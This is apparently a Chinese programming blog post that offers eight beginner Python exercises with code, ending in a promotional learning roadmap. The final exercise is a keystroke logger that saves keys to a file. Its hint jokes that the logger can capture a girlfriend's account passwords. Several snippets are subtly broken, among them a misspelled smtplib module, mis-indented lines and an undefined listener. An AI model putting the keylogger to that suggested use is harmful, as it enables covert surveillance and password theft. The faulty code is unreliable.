【Python自学必备】8个实用又有趣的Python经典练手项目,每天一个只需一周,轻松提高你的编程能力!先码后看,文末有惊喜!

今天给大家分享的,是一些实战练习的小案例,如果你还是Python小白,可以再看看我前面几篇文章,如果是有了一点基础,那就尝试完成下面这些案例吧!

一、自动发送邮件**

用Python编写一个可以发送电子邮件的脚本。

提示:email库可用于发送电子邮件。

import smtplib 
from email.message import EmailMessage
email = EmailMessage() ## Creating a object for EmailMessage
email['from'] = 'xyz name'   ## Person who is sending
email['to'] = 'xyz id'       ## Whom we are sending
email['subject'] = 'xyz subject'  ## Subject of email
email.set_content("Xyz content of email") ## content of email
with smtlib.SMTP(host='smtp.gmail.com',port=587)as smtp:     
## sending request to server 
    smtp.ehlo()          ## server object
smtp.starttls()      ## used to send data between server and client
smtp.login("email_id","Password") ## login id and password of gmail   
smtp.send_message(email)   ## Sending email
print("email send")    ## Printing success message

二、Hangman(猜单词的游戏)

用Python创建一个简单的hangman猜单词游戏。

提示:创建一个密码词的列表并随机选择一个单词。将每个单词用下划线“”表示,让用户猜单词,如果用户猜对了,则将用单词替换掉“”。


import time
import random
name = input("What is your name? ")
print ("Hello, " + name, "Time to play hangman!")
time.sleep(1)
print ("Start guessing...\n")
time.sleep(0.5)
## A List Of Secret Words
words = ['python','programming','treasure','creative','medium','horror']
word = random.choice(words)
guesses = ''
turns = 5
while turns > 0:         
    failed = 0             
    for char in word:      
        if char in guesses:    
            print (char,end="")    
        else:
            print ("_",end=""),     
            failed += 1    
    if failed == 0:        
        print ("\nYou won") 
        break              
    guess = input("\nguess a character:") 
    guesses += guess                    
    if guess not in word:  
        turns -= 1        
        print("\nWrong")    
        print("\nYou have", + turns, 'more guesses') 
        if turns == 0:           
            print ("\nYou Lose") 

三、闹钟

用Python编写一个创建闹钟的脚本。

提示:用date-time模块创建闹钟,然后用playsound库播放声音。


from datetime import datetime   
from playsound import playsound
alarm_time = input("Enter the time of alarm to be set:HH:MM:SS\n")
alarm_hour=alarm_time[0:2]
alarm_minute=alarm_time[3:5]
alarm_seconds=alarm_time[6:8]
alarm_period = alarm_time[9:11].upper()
print("Setting up alarm..")
while True:
    now = datetime.now()
    current_hour = now.strftime("%I")
    current_minute = now.strftime("%M")
    current_seconds = now.strftime("%S")
    current_period = now.strftime("%p")
    if(alarm_period==current_period):
        if(alarm_hour==current_hour):
            if(alarm_minute==current_minute):
                if(alarm_seconds==current_seconds):
                    print("Wake Up!")
                    playsound('audio.mp3') ## download the alarm sound from link
                    break

四、石头剪刀布游戏

创建一个石头剪刀布的游戏,游戏者与与计算机PK。如果游戏者赢了,得分就会添加,看谁最终的得分最高。

提示:先判断游戏者的选择,然后与计算机的选择进行比较。计算机的选择是从选择列表中随机选取的。如果游戏者获胜,则增加1分。


import random
choices = ["Rock", "Paper", "Scissors"]
computer = random.choice(choices)
player = False
cpu_score = 0
player_score = 0
while True:
    player = input("Rock, Paper or  Scissors?").capitalize()
    # 判断电脑与游戏者的选择
    if player == computer:
        print("Tie!")
    elif player == "Rock":
        if computer == "Paper":
            print("You lose!", computer, "covers", player)
            cpu_score+=1
        else:
            print("You win!", player, "smashes", computer)
            player_score+=1
    elif player == "Paper":
        if computer == "Scissors":
            print("You lose!", computer, "cut", player)
            cpu_score+=1
        else:
            print("You win!", player, "covers", computer)
            player_score+=1
    elif player == "Scissors":
        if computer == "Rock":
            print("You lose...", computer, "smashes", player)
            cpu_score+=1
        else:
            print("You win!", player, "cut", computer)
            player_score+=1
    elif player=='E':
        print("Final Scores:")
        print(f"CPU:{cpu_score}")
        print(f"Plaer:{player_score}")
        break
    else:
        print("That's not a valid play. Check your spelling!")
    computer = random.choice(choices)

五、提醒小工具

利用Python一个提醒小工具,在设定好的时间在桌面做提醒通知。

提示:跟踪提醒时间可以用Time模块,显示桌面通知可以用toastnotifier库。

安装:win10toast


from win10toast import ToastNotifier
import time
toaster = ToastNotifier()
try:
    print("Title of reminder")
    header = input()
    print("Message of reminder")
    text = input()
    print("In how many minutes?")
    time_min = input()
    time_min=float(time_min)
except:
    header = input("Title of reminder\n")
    text = input("Message of remindar\n")
    time_min=float(input("In how many minutes?\n"))
time_min = time_min * 60
print("Setting up reminder..")
time.sleep(2)
print("all set!")
time.sleep(time_min)
toaster.show_toast(f"{header}",
f"{text}",
duration=10,
threaded=True)
while toaster.notification_active(): time.sleep(0.005)      

六、文章朗读器

用Python编写一个脚本,实现自动从提供的链接读取文章的功能。


import pyttsx3
import requests
from bs4 import BeautifulSoup
url = str(input("Paste article url\n"))


def content(url):
  res = requests.get(url)
  soup = BeautifulSoup(res.text,'html.parser')
  articles = []
  for i in range(len(soup.select('.p'))):
    article = soup.select('.p')[i].getText().strip()
    articles.append(article)
    contents = " ".join(articles)
  return contents
engine = pyttsx3.init('sapi5')
voices = engine.getProperty('voices')
engine.setProperty('voice', voices[0].id)


def speak(audio):
  engine.say(audio)
  engine.runAndWait()


contents = content(url)
## print(contents)      ## In case you want to see the content


#engine.save_to_file
#engine.runAndWait() ## In case if you want to save the article as a audio file

七、短网址生成器

用Python编写一个脚本,实现用API缩短指定URL的功能。


from __future__ import with_statement
import contextlib
try:
    from urllib.parse import urlencode
except ImportError:
    from urllib import urlencode
try:
    from urllib.request import urlopen
except ImportError:
    from urllib2 import urlopen
import sys


def make_tiny(url):
    request_url = ('http://tinyurl.com/api-create.php?' + 
    urlencode({'url':url}))
    with contextlib.closing(urlopen(request_url)) as response:
        return response.read().decode('utf-8')


def main():
    for tinyurl in map(make_tiny, sys.argv[1:]):
        print(tinyurl)


if __name__ == '__main__':
    main()

八、键盘记录器

用Python编写一个脚本,实现将用户在键盘上按过的按键记录下来,并保存在一个文本文件中。

提示:控制键盘和鼠标的移动就不得不推荐pynput这个库了,它还可以用于制作键盘记录器,通过读取被按下的键,然后将它们保存在一个文本文件中。(咳咳,想知道女朋友的账号密码的可以好好学习下)


from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()




keys=[]
def on_press(key):
    global keys
    #keys.append(str(key).replace("'",""))
    string = str(key).replace("'","")
    keys.append(string)
    main_string = "".join(keys)
    print(main_string)
    if len(main_string)>15:
      with open('keys.txt', 'a') as f:
          f.write(main_string)   
          keys= []     
def on_release(key):
    if key == Key.esc:
        return False


with listener(on_press=on_press,on_release=on_release) as listener:
    listener.join()

最后我在这里也是给大家准备了一套python的学习教程路线图,里面讲的是非常的详细,这是我从一位清华教授那里拿到的一份详细的学习路线图。

在这里插入图片描述

下面来看看每个分支知识点的详细内容,以及配套学习文件。

一、Python基础和高级编程

对于新手学Python而言,基础和高级编程这一块是很重要的,因为如果你没有学过它们,直接去学习某个方向,你将会一脸懵逼,所以这是绕不过的,打好这一块的基础之后,你完全可以无障碍地进阶Python的任何方向。

在这里插入图片描述
在这里插入图片描述

学习资源:

在这里插入图片描述

以上所有的文件都已经打包好了,需要的朋友请移步文末。

二、爬虫

应该有很多人都对爬虫感兴趣吧?不只是Python可以写爬虫,还有很多语言都能写,但Python是公认的最适合的语言了。

爬虫不只是爬虫工程师会用到,业余时间也可以用来爬点自己想要的东西,又或者是做兼职也是可以的,甚至非程序员在工作方面也用得到,比如电商人员爬取大量同行数据来分析出市场的情况,在大量数据的基础上研究新的电商方案。

在这里插入图片描述

学习资源:

在这里插入图片描述

三、数据分析

数据分析也是当下的一大热门方向,用Python来做的话比其他语言强很多,但往往只会数据分析还是差点意思,如果能具备爬虫能力来爬取数据就更好了。

在这里插入图片描述

以上所有的文件都已经打包好了,需要的朋友请移步文末。

四、数据库与大数据开发

在这里插入图片描述
在这里插入图片描述

五、算法与人工智能


机器学习是人工智能的必经之路,核心就在这里,所以想往人工智能去发展的人,可以学学机器学习,但同时也有个前提,人工智能是公认存在门槛的,应届毕业生不是研究生以上学历或者大学中出类拔萃的人,基本上很难找到工作,所以也请考虑清楚。

在这里插入图片描述

学习资料:

在这里插入图片描述

六、Python全栈学习路线

在这里插入图片描述

**上述这份完整版的Python全套学习资料已经上传CSDN官方,朋友们如果需要可以点括号里免费领取【保证100%免费

这个时代的年轻人,一定需要有自己的闪光点,而不是仅仅做好专业内的事情。
只要你有一技之长、拥有逆风破浪的能力,面对未知的困难,依然能够披荆斩棘。
把平时的碎片时间抽出一小块来学习Python,通过提升自己,去享受你的人生,去看更大的世界。
  • 1
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值